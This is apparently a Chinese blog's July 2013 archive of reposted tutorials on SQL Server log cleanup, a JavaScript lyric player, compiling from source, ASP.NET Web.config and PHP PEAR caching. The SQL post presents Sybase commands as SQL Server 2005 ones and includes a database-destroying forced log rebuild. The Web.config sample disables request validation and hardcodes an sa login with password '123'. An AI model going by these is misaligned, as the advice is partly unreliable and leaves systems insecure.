月度归档:2013年07月

sql2005数据库日志文件清理

最近整理一个项目对要对sql 2005下几个数据进行整理,整理后发现库数据文件才1g左右,但是相应的log日志文件超大,都4,5G左右,极端的占空间。我们都知道log文件保存了对数据库所做的各种操作等,在数据出错的时候可以通过日志文件恢复数据库,是一个非常重要的文件,而且不能直接删除掉,那么怎么才能安全的给数据搜身呢?

——————————————————————————————————————————-

建议更改数据库的事务日志,限制文件增长的最大值和定期备份日志和数据。在以下处理之前,最好整体备份整个数据库:

1:由小的事务引起日志溢出,系统能正常启动。

解决办法:

扩大数据库日志空间:
alter database 数据库名 on 设备名=数量(M为单位)

sp_logdevice 数据库名,设备名

清除日志
dump transaction 数据库名 with no_log(no_truncate)

2:由大的事物引起日志溢出,系统较长时间内无法正常启动或数据库无法恢复
103f
解决办法:

强行清空日志。
在实在无法恢复数据库或有近期备份的情况下,可采用强行清空日志的方法。采取这种方法的后果有可能彻底破坏数据库。执行步骤如下:

Ⅰ 以-v 方式启动SQL SERVER(不检测日志)

Ⅱ 修改数据库状态为-32768(阻塞状态)

update sysdatabases set status=-32768 where name=数据库名

Ⅲ 授权sybase_ts_role权限(sybase_ts_role为SQL SERVER特殊管理员权限,在日常的数据库管理中,不需要这个角色)

sp_role “grant”,”sybase_ts_role”,sa

set role “sybase_ts_role”

Ⅳ 清除日志

dbcc rebuild_log(数据库名,1,1)

完成以上步骤后,重新启动SQL SERVER即可。如果数据库能正常启动,数据库就恢复完成;如果无法启动,只能重新创建数据库。

=================================================================

压缩日志

1:截断事务日志:
BACKUP LOG 数据库名 WITH NO_LOG

2:清空日志
DUMP TRANSACTION 库名 WITH NO_LOG

再:
企业管理器–右键你要压缩的数据库–所有任务–收缩数据库–收缩文件–选择日志文件–在收缩方式里选择收缩至XXM,这里会给出一个允许收缩到的最小M数,直接输入这个数,确定就可以了

3: 删除LOG

1:分离数据库 企业管理器->服务器->数据库->右键->分离数据库
2:删除LOG文件
3:附加数据库 企业管理器->服务器->数据库->右键->附加数据库
此法生成新的LOG,大小只有500多K
再将此数据库设置自动收缩

或用代码:
下面的示例分离 pubs,然后将 pubs 中的一个文件附加到当前服务器。

EXEC sp_detach_db @dbname = ‘pubs’
EXEC sp_attach_single_file_db @dbname = ‘pubs’,
@physname = ‘c:\Program Files\Microsoft SQL Server\MSSQL\Data\pubs.mdf’

4: 如果想以后不让它增长
企业管理器–服务器–右键数据库–属性–事务日志–将文件增长限制为xM(x是你允许的最大数据文件大小)

–SQL语句的设置方式:
alter database 数据库名 modify file(name=逻辑文件名,maxsize=20)

5.设置为自动收缩
企业管理器–服务器–右键数据库–属性–选项–选择”自动收缩”

网页播放器动态显示歌词的代码

这是网页播放器动态显示歌词的代码(修改自百度MP3试听播放器代码),像百度一样单曲播放没有任何问题,但连播时持续播放10多首歌后CPU占用就超过90%了,直到死机
以下是代码:

[Copy to clipboard]

CODE:

function lrcInterface(pID,lrcID){
var tmpOutput=null;
var bdLRC=null;
var count=null;
var tmp=null;
var lrcFileName=null;
var lrcfile_xmlhttp=null;
var tmpURL=null;
var tmpStr=null;tmpOutput=document.getElementById(‘followTd’);
count=0;
tmpOutput.innerHTML=”

正在加载歌词信息,请您稍等片刻….”;
tmp=setInterval(getObject,200);
function getObject(){
bdLRC=new bdSyncLRC();
if(bdLRC!=null){
clearInterval(tmp);

if(typeof(pID)==”string”){
bdLRC.playerObj=document.getElementById(pID);
}else{
if(typeof(pID)==”object”)bdLRC.playerObj=pID;
}

lrcFileName=lrcID+”.lrc”;
bdLRC.lrcURL=”http://192.168.0.249/music/readlrc.asp?checked=”+lrcFileName;
bdLRC.lrcShower=”followTd”;

lrcfile_xmlhttp=obj_newxmlhttp();
tmpURL=bdLRC.lrcURL;
tmpStr=””;
lrcfile_xmlhttp.onreadystatechange=function(){
if(lrcfile_xmlhttp.readyState==4){
tmpStr=bytes2BSTR(lrcfile_xmlhttp.responseBody);
lrcfile_xmlhttp=null;
bdLRC.lrcContent=tmpStr;
}
}
lrcfile_xmlhttp.open(“POST”,tmpURL,true);
lrcfile_xmlhttp.send(null);

bdLRC.begin();
}else{
if(count==25){
clearInterval(tmp);
tmpOutput.innerHTML=”

可能是因为网络的原因,系统没有找到合适的歌词。请稍后重试”;
}else count++;
}
}
}
function bdSyncLRC(){
var playerObj=null;
var playerTypeStr=null;
var lrcURL=null;
var lrcShower=null;
var lrcContent=null;
var lrcObjArray=null;
lrcURL=””;
lrcShower=””;
lrcContent=””;
lrcObjArray=new Array();
this.preLRC=new Array();
this.offsetTime=0;
this.scrollMoveLen=20;
}
bdSyncLRC.prototype.getPlayer=function(){
if(typeof(document.getElementById(“this.playerObj”))==’object’){
return this.playerObj;
}else{
return null;
}
}
bdSyncLRC.prototype.getURL=function(){return this.lrcURL;};
bdSyncLRC.prototype.getOutput=function(){
if(this.lrcShower!=””){
if(typeof(this.lrcShower)==”string”){
return document.getElementById(this.lrcShower);
}else{
if(typeof(this.lrcShower)==”object”)return this.lrcShower;
}
};
return null;
};
bdSyncLRC.prototype.multiLRC=function(lrcLine){
thisObj=this;
tmpVar=lrcLine.split(“]”);
if(tmpVar.length>=2){
lrcText=tmpVar[tmpVar.length-1];
for(j3=0;j3<tmpVar.length-1;j3++){
lrcTime=tmpVar[j3]+”]”;
thisObj.preLRC.push(lrcTime+””+lrcText);
}
}
}
bdSyncLRC.prototype.preSyncLRC=function(){
if(this.lrcContent==null||this.lrcContent==””)return;
lrcLines=this.lrcContent.split(“\n”);
tmpArr=new Array();
for(i1=0;i1<lrcLines.length;i1++)this.multiLRC(replaceStr(lrcLines[i1])); this.preLRC.sort(); var tmpVar=”aaa”; for(i2=this.preLRC.length-1;i2>=0;i2–){
if(this.preLRC[i2]==tmpVar){
tmpVar=this.preLRC[i2];
this.preLRC.splice(i2,1);
}else{
tmpVar=this.preLRC[i2];
}
}
preTime=0;
indexLRC=1;
tmpArr[0]=new LRCItem(0,””);
for(i3=0;i3<this.preLRC.length;i3++){ if(this.preLRC[i3].length>9){
tmpTime=getLyrcTime(this.preLRC[i3]);
tmpLrc=getLyrc(this.preLRC[i3]);
if(tmpTime<preTime)continue; preTime=tmpTime; var tmpItem=new LRCItem(tmpTime,tmpLrc); tmpArr[indexLRC++]=tmpItem; } } var tmpItem=new LRCItem(3600,”Over…”); tmpArr[indexLRC]=tmpItem; if(tmpArr.length>=1)this.lrcObjArray=tmpArr;
}
function replaceStr(tmpStr){return tmpStr.replace(/^\s*|\s*$/g,””);};
function getLyrc(tmpStr){try{tmpArray=tmpStr.split(“]”);return tmpArray[tmpArray.length-1];}catch(e){};return””;};
function getLyrcTime(tmpStr){try{tmpChar=tmpStr.split(“]”)[0].split(“[“)[1];tmpVar=tmpChar.split(“:”);if(tmpVar.length<2)return 0;min=tmpVar[1].split(“.”)[0];tmpInt=parseInt(tmpVar[0])*60+parseFloat(min);if(!isNaN(tmpInt))return tmpInt;}catch(e){};return 0;}; function LRCItem(){varlrcTime=-1;var lrcContent=””;if(arguments.length>=2){this.lrcTime=arguments[0];this.lrcContent=arguments[1];};};
function obj_newxmlhttp(){
/* Create a new XMLHttpRequest object to talk to the Web server */
var xmlhttp = false;
/*@cc_on @*/
/*@if (@_jscript_version >= 5)
try {
xmlhttp = new ActiveXObject(“Msxml2.XMLHTTP”);
} catch (e) {
try {
xmlhttp = new ActiveXObject(“Microsoft.XMLHTTP”);
} catch (e2) {
xmlhttp = false;
}
}
@end @*/

if (!xmlhttp && typeof XMLHttpRequest != ‘undefined’) {
xmlhttp = new XMLHttpRequest();
}
return xmlhttp;
}
bdSyncLRC.prototype.begin=function(){
thisObj=this;
tmpPlayerObj=thisObj.getPlayer();
var tmpOutput=document.getElementById(‘followTd’);
var tmpI=setInterval(getlrc,100);
var count1=0;
function getlrc(){
if(typeof(thisObj.lrcContent)!=”undefined”){
clearInterval(tmpI);
thisObj.preSyncLRC();
var tmp,tmpArray;
tmpArray=thisObj.lrcObjArray;
tmp=”
“+”
“+”
“+”
“+”
“+”
“+”
“;
for(i10=0;i10<tmpArray.length;i10++)tmp+=”“+replaceStr(tmpArray[i10].lrcContent)+”
“;
thisObj.getOutput().innerHTML=tmp;
getPlayingTime(tmpPlayerObj,thisObj);
}else{
if(count1==50){
clearInterval(tmpI);
tmpOutput.innerHTML=”

可能是因为网络的原因,系统没有找到合适的歌词。请稍后重试”;
}else count1++;
}
}
}
function getPlayingTime(playerObj,bdLRCObj){
try{
tmpbdLRCObj=bdLRCObj;
var tmpPlayerObj=playerObj;
if(typeof(tmpPlayerObj)==”string”)tmpPlayerObj=document.getElementById(tmpPlayerObj);
window.setTimeout(“getPlayingTime(tmpPlayerObj,tmpbdLRCObj)”,500);
bdsyncLyrc(tmpbdLRCObj);
}catch(e){
document.title=”getPlayingTime…”+e.toString();
}
}
var preMatchLrcLine=-1;
function bdsyncLyrc(bdLRCObj){
try{
tmpPlayer=bdLRCObj.getPlayer();
playerStatus=tmpPlayer.GetPlayState();
if(tmpPlayer){
var tmpLrcContent=null;
var color=null;
var lineCount=null;
var perLineCount=null;
var i4=null;
currentTime=tmpPlayer.GetPosition()/1000;
// bdLRCObj.preSyncLRC();
tmpLrcs=bdLRCObj.lrcObjArray;
tmpScroll=bdLRCObj.getOutput();
tmpScrollId=bdLRCObj.getOutput();
perLength=bdLRCObj.scrollMoveLen;
tmpLrcContent=new Array(20);
color=new Array(21);
lineCount=new Array(tmpLrcs.length);
perLineCount=new Array(tmpLrcs.length);
for(i4=0;i4<tmpLrcs.length;i4++){
lineCount[i4]=Math.floor(tmpLrcs[i4].lrcContent.length/67);
perLineCount[i4]=0;
for(j1=0;j1<i4;j1++){
perLineCount[i4]+=lineCount[j1];
}
}
//window.upid6.innerHTML=perLineCount;
color[0]=”#000000″;color[1]=”#0d0500″;color[2]=”#1a0a00″;color[3]=”#270f00″;color[4]=”#341400″;color[5]=”#411900″;color[6]=”#4e1e00″;color[7]=”#5b2300″;color[8]=”#682800″;color[9]=”#752d00″;color[10]=”#823200″;color[11]=”#8f3700″;color[12]=”#9c3c00″;color[13]=”#a94100″;color[14]=”#b64600″;color[15]=”#c34b00″;color[16]=”#d05000″;color[17]=”#dd5500″;color[18]=”#ea5a00″;color[19]=”#f75f00″;color[20]=”#ff5a00″;
for(i5=0;i5<20;i5++)tmpLrcContent[i5]=”
“+”
“+”
“+”
“+”
“+”
“+”
“;
var tmpMatchLrcLine=0;
for(j2=0;j2<tmpLrcs.length;j2++){
nowLrc=tmpLrcs[j2];
nextLrc=tmpLrcs[(j2<tmpLrcs.length-1)?j2+1:j2];
nowTime=nowLrc.lrcTime+bdLRCObj.offsetTime;
nextTime=nextLrc.lrcTime+bdLRCObj.offsetTime;
if(nowTime<=currentTime&¤tTime<nextTime){
tmpMatchLrcLine=j2;
for(i6=0;i6<20;i6++){
tmpLrcContent[i6]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
}
window.upid6.innerHTML=”“+replaceStr(tmpLrcs[j2].lrcContent)+”“;
j2+=1;
tmpInt=tmpLrcs.length-j2;
for(;j2<tmpLrcs.length;j2++){
for(i7=0;i7<20;i7++){
tmpLrcContent[i7]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
}
}
if(tmpInt<8){
for(j2=0;j2<=8-tmpInt;j2++){
for(i8=0;i8<20;i8++){
tmpLrcContent[i8]+=”
“;
}
}
}
break;
}else{
//window.upid6.innerHTML=preMatchLrcLine;
if(j2==preMatchLrcLine){
for(i9=0;i9<20;i9++)tmpLrcContent[i9]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
} else {
for(i0=0;i0<20;i0++)tmpLrcContent[i0]+=”“+replaceStr(tmpLrcs[j2].lrcContent)+”
“;
}
}
}
if(preMatchLrcLine!=tmpMatchLrcLine){
if(Math.abs(tmpMatchLrcLine-preMatchLrcLine)>1){
tmpScroll.innerHTML=tmpLrcContent[19];
tmpScrollId.scrollTop=(tmpMatchLrcLine+perLineCount[tmpMatchLrcLine]+1)*perLength;
// tmpScrollId.scrollTop=(tmpMatchLrcLine+perLineCount[tmpMatchLrcLine]+1)*perLength;
} else {
var count2=0;
function scrollAdd(){
tmpScroll.innerHTML=tmpLrcContent[2*count2];
tmpScrollId.scrollTop+=2*(1+lineCount[preMatchLrcLine]);
count2++;
if(count2==10)clearInterval(loaderInterval);
}
var loaderInterval=setInterval(scrollAdd,25);
}
}
preMatchLrcLine=tmpMatchLrcLine;
}
}catch(e){
document.title=”bdsyncLyrc=”+e.toString();
}
};

编译安装经验/zz/

从源码编译安装东东,不是很容易,想想在使用lfs之前,源码编译安装软件从来没
成功过,甚至出现错误都无从下手,只能放弃
经过lfs的洗礼,总算对源码编译安装有了一点认识,可惜当初没有把这些经验写下来
不过现在开始写也不迟 将编译中遇到的问题及解决的方法记下来,积累经验,
也可以让来往的newbie对源码安装软件了解一些,多一些成功机率,毕竟从源码包编译
东东还是有一定好处的 ^_^
先说一下源码编译的基本方法及源码编译过程中几个重要的文件,以及重要变量
PKG_CONFIG_PATH 的设定,经常在论坛看到有人源码编译失败,都是这个东东搞的鬼 ^_^

ChangeLog :
05/02/06 :编译dosbox make时出现找不到头文件错误,类似的错误曾经碰到过.记录。
LD_LIBRARY_PATH的作用。

从源码编译安装东东,不是很容易,想想在使用lfs之前,源码编译安装软件从来没
成功过,甚至出现错误都无从下手,只能放弃
经过lfs的洗礼,总算对源码编译安装有了一点认识,可惜当初没有把这些经验写下来
不过现在开始写也不迟 将编译中遇到的问题及解决的方法记下来,积累经验,
也可以让来往的newbie对源码安装软件了解一些,多一些成功机率,毕竟从源码包编译
东东还是有一定好处的 ^_^
先说一下源码编译的基本方法及源码编译过程中几个重要的文件,以及103f重要变量
PKG_CONFIG_PATH 的设定,经常在论坛看到有人源码编译失败,都是这个东东搞的鬼 ^_^

如何从源码包安装软件?

从源码包安装软件最重要的就是仔细阅读README INSTALL等说明文件

它会告诉你怎样才能成功安装
通常从源码包安装软件的步骤是:
tar jxvf gtk+-2.4.13.tar.bz2 解开源码包
cd gtk+-2.4.13/ 进入源码目录
./configure 似乎在某些环境下./configure会造成终端退出
而使用. configure则会正常运行,如果有这个现象,就试试 . configure

通过configure程序猜测主机信息,最终建立Makefile,以完成make,所以如果./configure不成功
而去make的话,就会出现”make: *** No targets specified and no makefile found. Stop.”
make 当./configure成功结束后,就开始正式编译程序了.
make install 编译成功后使用make install安装
make uninstall 某些软件支持卸载,可能使用该方法卸载,如果支持的话,通常会在README中写到(似乎比较少)

configure程序带有很多参数,可以通过 ./configure –help 查看详细内容,通常位于前面的是常规configure的
参数说明,末尾是该程序的可用参数说明。
./configure –prefix=/usr 指定安装目录,通常从源码包编译安装的软件默认会放在/usr/local下
因为这是FHS(Filesystem Hierarchy Standard)的规定,不知道什么是FHS?看看这篇文章吧:
http://www.pathname.com/fhs/pub/fhs-2.3.html 相信它会让你对linux系统结构有更好的理解,很值得读读。

再说一下几个关系到能否成功编译的东东:/etc/ld.so.conf ldconfig PKG_CONFIG_PATH

首先说下/etc/ld.so.conf:

这个文件记录了编译时使用的动态链接库的路径。
默认情况下,编译器只会使用/lib和/usr/lib这两个目录下的库文件
如果你安装了某些库,比如在安装gtk+-2.4.13时它会需要glib-2.0 >= 2.4.0,辛苦的安装好glib后
没有指定 –prefix=/usr 这样glib库就装到了/usr/local下,而又没有在/etc/ld.so.conf中添加/usr/local/lib
这个搜索路径,所以编译gtk+-2.4.13就会出错了
对于这种情况有两种方法解决:
一:在编译glib-2.4.x时,指定安装到/usr下,这样库文件就会放在/usr/lib中,gtk就不会找不到需要的库文件了
对于安装库文件来说,这是个好办法,这样也不用设置PKG_CONFIG_PATH了 (稍后说明)

二:将/usr/local/lib加入到/etc/ld.so.conf中,这样安装gtk时就会去搜索/usr/local/lib,同样可以找到需要的库
将/usr/local/lib加入到/etc/ld.so.conf也是必须的,这样以后安装东东到local下,就不会出现这样的问题了。
将自己可能存放库文件的路径都加入到/etc/ld.so.conf中是明智的选择 ^_^
添加方法也极其简单,将库文件的绝对路径直接写进去就OK了,一行一个。例如:
/usr/X11R6/lib
/usr/local/lib
/opt/lib

再来看看ldconfig是个什么东东吧 :

它是一个程序,通常它位于/sbin下,是root用户使用的东东。具体作用及用法可以man ldconfig查到
简单的说,它的作用就是将/etc/ld.so.conf列出的路径下的库文件 缓存到/etc/ld.so.cache 以供使用
因此当安装完一些库文件,(例如刚安装好glib),或者修改ld.so.conf增加新的库路径后,需要运行一下/sbin/ldconfig
使所有的库文件都被缓存到ld.so.cache中,如果没做,即使库文件明明就在/usr/lib下的,也是不会被使用的,结果
编译过程中抱错,缺少xxx库,去查看发现明明就在那放着,搞的想大骂computer蠢猪一个。 ^_^
我曾经编103f译KDE时就犯过这个错误,(它需要每编译好一个东东,都要运行一遍),所以

切记改动库文件后一定要运行一下ldconfig,在任何目录下运行都可以。

再来说说 PKG_CONFIG_PATH这个变量吧:

经常在论坛上看到有人问”为什么我已经安装了glib-2.4.x,但是编译gtk+-2.4.x 还是提示glib版本太低阿?
为什么我安装了glib-2.4.x,还是提示找不到阿?。。。。。。”都是这个变量搞的鬼。
先来看一个编译过程中出现的错误 (编译gtk+-2.4.13):

checking for pkg-config… /usr/bin/pkg-config
checking for glib-2.0 >= 2.4.0 atk >= 1.0.1 pango >= 1.4.0… Package glib-2.0 was not found in the pkg-config search path.
Perhaps you should add the directory containing `glib-2.0.pc’
to the PKG_CONFIG_PATH environment variable
No package ‘glib-2.0’ found

configure: error: Library requirements (glib-2.0 >= 2.4.0 atk >= 1.0.1 pango >= 1.4.0) not met; consider adjusting the PKG_CONFIG_PATH environment variable if your libraries are in a nonstandard prefix so pkg-config can find them.
[root@NEWLFS gtk+-2.4.13]#
很明显,上面这段说明,没有找到glib-2.4.x,并且提示应该将glib-2.0.pc加入到PKG_CONFIG_PATH下。
究竟这个pkg-config PKG_CONFIG_PATH glib-2.0.pc 是做什么的呢? let me tell you ^_^
先说说它是哪冒出来的,当安装了pkgconfig-x.x.x这个包后,就多出了pkg-config,它就是需要PKG_CONFIG_PATH的东东
pkgconfig-x.x.x又是做什么的? 来看一段说明:

The pkgconfig package contains tools for passing the include path and/or library paths to build tools during the make file execution.

pkg-config is a function that returns meta information for the specified library.

The default setting for PKG_CONFIG_PATH is /usr/lib/pkgconfig because of the prefix we use to install pkgconfig. You may add to PKG_CONFIG_PATH by exporting additional paths on your system where pkgconfig files are installed. Note that PKG_CONFIG_PATH is only needed when compiling packages, not during run-time.

我想看过这段说明后,你已经大概了解了它是做什么的吧。
其实pkg-config就是向configure程序提供系统信息的程序,比如软件的版本啦,库的版本啦,库的路径啦,等等
这些信息只是在编译其间使用。你可以 ls /usr/lib/pkgconfig 下,会看到许多的*.pc,用文本编辑器打开
会发现类似下面的信息:

prefix=/usr
exec_prefix=$
libdir=$/lib
includedir=$/include

glib_genmarshal=glib-genmarshal
gobject_query=gobject-query
glib_mkenums=glib-mkenums

Name: GLib
Description: C Utility Library
Version: 2.4.7
Libs: -L$ -lglib-2.0
Cflags: -I$/glib-2.0 -I$/glib-2.0/include

明白了吧,configure就是靠这些信息判断你的软件版本是否符合要求。并且得到这些东东所在的位置,要不去哪里找呀。
不用我说你也知道为什么会出现上面那些问题了吧。

解决的办法很简单,设定正确的PKG_CONFIG_PATH,假如将glib-2.x.x装到了/usr/local/下,那么glib-2.0.pc就会在
/usr/local/lib/pkgconfig下,将这个路径添加到PKG_CONFIG_PATH下就可以啦。并且确保configure找到的是正确的
glib-2.0.pc,就是将其他的lib/pkgconfig目录glib-2.0.pc干掉就是啦。(如果有的话 ^-^)
设定好后可以加入到~/.bashrc中,例如:
PKG_CONFIG_PATH=/opt/kde-3.3.0/lib/pkgconfig:/usr/lib/pkgconfig:/usr/local/pkgconfig:
/usr/X11R6/lib/pkgconfig
[root@NEWLFS ~]#echo $PKG_CONFIG_PATH
/opt/kde-3.3.0/lib/pkgconfig:/usr/lib/pkgconfig:/usr/local/pkgconfig:/usr/X11R6/lib/pkgconfig

从上面可以看出,安装库文件时,指定安装到/usr,是很有好处的,无论是/etc/ld.so.conf还是PKG_CONFIG_PATH
默认都会去搜索/usr/lib的,可以省下许多麻烦

浅析Asp.net中的Web.config文件/zz/

一、认识Web.config文件
Web.config文件是一个XML文本文件,它用来储存 ASP.NET Web 应用程序的配置信息(如最常用的设置ASP.NET Web 应用程序的身份验证方式),它可以出现在应用程序的每一个目录中。当你通过VB.NET新建一个Web应用程序后,默认情况下会在根目录自动创建一个默认 的
Web.config文件,包括默认的配置设置,所有的子目录都继承它的配置设置。如果你想修改子目录的配置设置,你可以在该子目录下新建一个Web.config文件。它可以提供除从父目录继承的配置信息以外的配置信息,也可以重写或修改父目录中定义的设置。

在运行时对Web.config文件的修改不需要重启服务就可以生效(注:<processModel> 节例外)。当然Web.config文件是可以扩展的。你可以自定义新配置参数并编写配置节处理程序以对它们进行处理。

二、web.config配置文件(默认的配置设置)以下所有的代码都应该位于

<configuration>
<system.web>

</system.web>
</configuration>

之间,出于学习的目的下面的示例都省略了这段XML标记

1、<authentication> 节

作用:配置 ASP.NET 身份验证支持(为Windows、Forms、PassPort、None四种)。该元素只能在计算机、站点或应用程序级别声明。<authentication> 元素必需与<authorization> 节配合使用。

示例:

以下示例为基于窗体(Forms)的身份验证配置站点,当没有登陆的用户访问需要身份验证的网页,网页自动跳转到登陆网页。

<authentication mode=”Forms” >
<forms loginUrl=”logon.aspx” name=”.FormsAuthCookie”/>

</authentication>

其中元素loginUrl表示登陆网页的名称,name表示Cookie名称

2、<authorization> 节

作用:控制对 URL 资源的客户端访问(如允许匿名用户访问)。此元素可以在任何级别(计算机、站点、应用程序、子目录或页)上声明。必需与<authentication> 节配合使用。

示例:以下示例禁止匿名用户的访问

<authorization>
<deny users=”?”/>
</authorization>

注:你可以使用user.identity.name来获取已经过验证的当前的用户名;可以使用
web.Security.FormsAuthentication.RedirectFromLoginPage方法将已验证的用户重定向到用户刚才请求的页面.具体的实例请参考:

Forms验证 http://www.fanvb.net/websample/dataauth.aspx
3、<compilation>节

作用:配置 ASP.NET 使用的所有编译设置。默认的debug属性为“True”.在程序编译完成交付使用之后应将其设为True(Web.config文件中有详细说明,此处省略示例)

4、<customErrors>

作用:为 ASP.NET 应用程序提供有关自定义错误信息的信息。它不适用于 XML Web services 中发生的错误。

示例:当发生错误时,将网页跳转到自定义的错误页面。

<customErrors defaultRedirect=”ErrorPage.aspx” mode=”RemoteOnly”>
</customErrors>

其中元素defaultRedirect表示自定义的错误网页的名称。mode元素表示:对不在本地 Web 服务器上运行的用户显示自定义(友好的)信息。

5、<httpRuntime>节

作用:配置 ASP.NET HTTP 运行库设置。该节可以在计算机、站点、应用程序和子目录级别声明。

示例:控制用户上传文件最大为4M,最长时间为60秒,最多请求数为100

<httpRuntime maxRequestLength=”4096″ executionTimeout=”60″ appRequestQueueLimit=”100″/>

6、 <pages>

作用:标识特定于页的配置设置(如是否启用会话状态、视图状态,是否检测用户的输入等)。<pages>可以在计算机、站点、应用程序和子目录级别声明。

示例:不检测用户在浏览器输入的内容中是否存在潜在的危险数据(注:该项默认是检测,如果你使用了不检测,一要对用户的输入进行编码或验证),在从客户端回发页时将检查加密的视图状态,以验证视图状态是否已在客户端被篡改。(注:该项默认是不验证)

<pages buffer=”true” enableViewStateMac=”true” validateRequest=”false”/>

7、<sessionState>

作用:为当前应用程序配置会话状态设置(如设置是否启用会话状态,会话状态保存位置)。

示例:

<sessionState mode=”InProc” cookieless=”true” timeout=”20″/>
</sessionState>

注:

mode=”InProc”表示:在本地储存会话状态(你也可以选择储存在远程服务器或SAL服务器中或不启用会话状态)

cookieless=”true”表示:如果用户浏览器不支持Cookie时启用会话状态(默认为False)

timeout=”20″表示:会话可以处于空闲状态的分钟数

8、<trace>

作用:配置 ASP.NET 跟踪服务,主要用来程序测试判断哪里出错。

示例:以下为Web.config中的默认配置:

<trace enabled=”false” requestLimit=”10″ pageOutput=”false” traceMode=”SortByTime” localOnly=”true” />

注:

enabled=”false”表示不启用跟踪;requestLimit=”10″表示指定在服务器上存储的跟踪请求的数目

pageOutput=”false”表示只能通过跟踪实用工具访问跟踪输出;

traceMode=”SortByTime”表示以处理跟踪的顺序来显示跟踪信息

localOnly=”true” 表示跟踪查看器 (trace.axd) 只用于宿主 Web 服务器
三、自定义Web.config文件配置节

自定义Web.config文件配置节过程分为两步。

一是在在配置文件顶部 <configSections> 和 </configSections>标记之间声明配置节的名称和处理该节中配置数据的 .NET Framework 类的名称。

二是在 <configSections> 区域之后为声明的节做实际的配置设置。

示例:创建一个节存储数据库连接字符串

<configuration>
<configSections>
<section name=”appSettings” type=”System.Configuration.NameValueFileSectionHandler, System, Version=1.0.3300.0, Culture=neutral, PublicKeyToken=b77a5c561934e089″/>
</configSections>

<appSettings>
<add key=”scon” value=”server=a;database=northwind;uid=sa;pwd=123″/>
</appSettings>

<system.web>
……
</system.web>
</configuration>

缓冲机制以及php的实现

PHP内容缓存输出:

 PEAR cache

PEAR cache 安装/usr/ports/sysutils/pear-Cachemake install clean

     内容缓存输出 PEAR cache接下来我们开始探索更常用的缓存技术,这也是本文的重点部份。首先我们使用PEAR中的cache包。PEAR可以将内容缓存于文件,数据库或 者内存中,我们以文件为例。

没有使用缓存的PHP小程序:

pear_content_cache1.php

<?php echo “这是内容。”; echo “当前时间是” . date(‘M-d-Y H:i:s A’, time()) . “”; ?>

上面这个程序非常简单,现在我们为其加上缓存。

pear_content_cache2.php

<?php require_once ‘Cache/Output.php’;

//设置缓存目录,必须是可写的

$cacheDir = ‘./pear_cache’; $cache = new Cache_Output(‘file’,array(‘cache_dir’ => $cacheDir));

 //如果nocache变量为空,使用缓存中的内容

//如果想获得最新的内容,就要赋值给nocache变量 if (empty($_REQUEST[‘nocache’])) { // 建立一个独一的cache标识 // 请求+Cookie信息 $cache_id = $cache->generateID(array(‘url’ => $_REQUEST,’post’ =>$_POST,’cookies’ => $HTTP_COOKIE_VARS)); } else { //想获得最新的内容,ID为空 $cache_id = null; } //看cache ID对应的缓存内容是否可用 if ($content = $cache->start($cache_id)) { //缓存已存在,直接输出,并结束脚本 echo $content; exit(); } // 缓存中不存在该内容,生成新内容并写入缓存 echo “这是内容。

“; echo “当前时间是” . date(‘M-d-Y H:i:s A’, time()) . “”;

// 把内容写入缓存

echo $cache->end(); ?>

分别刷新这两个文件,你会发现

pear_content_cache1.php中的“当前时间是”这一行中的时间是随着刷新而变化的,而 pear_content_cache2.php中的这一行则不变。

这是由于pear_content_cache2.php使用了缓存,将用户请求的内 容存入静态文件中。当用户再次请求时,它直接从文件中输出,而不需要用程序动态生成内容。对于pear_content_cache2.php,如果用户想要读取最新的信息,而不是缓存中成旧的信息。

那么可以用http://…/pear_content_cache2.php?nocache=1 来访问,这将禁用缓存功能。刷新一下看看,你将发现时间会随之变化。

总结一下PEAR内容缓存类的使用:

1.包含PEAR包 要注意设对路径。

2.包含Output.php中的cache类require_once ‘Cache/Output.php’;

3.设置缓存目录$cacheDir = ‘./pear_cache’;确认这个目录是可写的。Cache数据将会写入这个目录的子目录中。

4.建立一个输出缓存对象

$cache = new Cache_Output(‘file’,array(‘cache_dir’ => $cacheDir));

第一个参数表示我们使用基于“文件”方式的缓存,第二个参数是一个与缓存目录相关联的数组。

5.产生一个唯一的cache ID

$cache_id = $cache->generateID(array(‘url’ => $_REQUEST,’post’ =>$_POST,’cookies’ => $HTTP_COOKIE_VARS));

这里$cache对象的generateID()方法通过提供一个信息数组(URL, HTTP POST data, 和 HTTP cookie)来独一无二地标识这个请求,与其它请求区分开来。

6.增加一个逻辑判断语句看是否对应于cacheID的缓存数据是否已经存在,如果存在, 获取数据并结束脚本。

if ($content = $cache->start($cache_id)) { echo $content; exit(); }

7. 将产生内容的代码放在以上逻辑语句之后,并结束使用cache对象。echo $cache->end();

◆ 函数缓存输出

PEAR cache PEAR除了可以对输出的内容进行缓存处理外,还可以将对某个函数的调用结果缓存起来。这是个很有趣的功能,如果你的程序要频繁使用到某个 函数,而且调用的结果相同的话,我建议你不妨试试,特别是当这个函数运行起来比较慢的时候。

下面我们实现对一个执行起来很慢的函数 slowFunction()的缓冲调用。

<?php require_once ‘Cache/Function.php’;

 $cacheDir = ‘./pear_cache/’; $cache = new Cache_Function(‘file’,array(‘cache_dir’ => $cacheDir));

 $arr = array(‘苹果’, ‘梨’,’西瓜’);

$cache->call(‘slowFunction’, $arr); echo ”;

 $arr = array(‘苹果’, ‘梨’,’西瓜’);

slowFunction($arr); function slowFunction($arr = null) { echo “一个执行起来很慢的函数 🙁 “;

 echo “当前时间是 ” . date(‘M-d-Y H:i:s A’, time()) . ”;

foreach ($arr as $fruit) { echo “我吃了一个 $fruit “; } } ?>

以下是示例的脚本执行结果:一个执行起来很慢的函数 当前时间是 Jul-28-2004 17:15:57 PM我吃了一个 苹果我吃了一个 梨我吃了一个 西瓜一个执行起来很慢的函数 当前时间是 Jul-28-2004 17:17:55 PM我吃了一个 苹果我吃了一个 梨我吃了一个 西瓜

代码中,Cache/Function.php类用来执行函数缓冲功能。$cache变量是一个Cache_Function对象,使用基于文件 的函数缓存,存入$cacheDir目录。要缓存一个函数调,Cache_Function对象$cache的call()方法要像这样使 用:$cache->call(‘slowFunction’, $arr);

这里,slowFunction()函数被调用,参数为一个数组$arr,这个函数被缓存在$cacheDir目录下的一个文件里。任何 在此之后的对这个函数的调用,将会由$cache->call()返回该函数执行的结果。

函数缓存和使用方法和内容缓存很相似,不再多说,具体请查看PEAR手册。

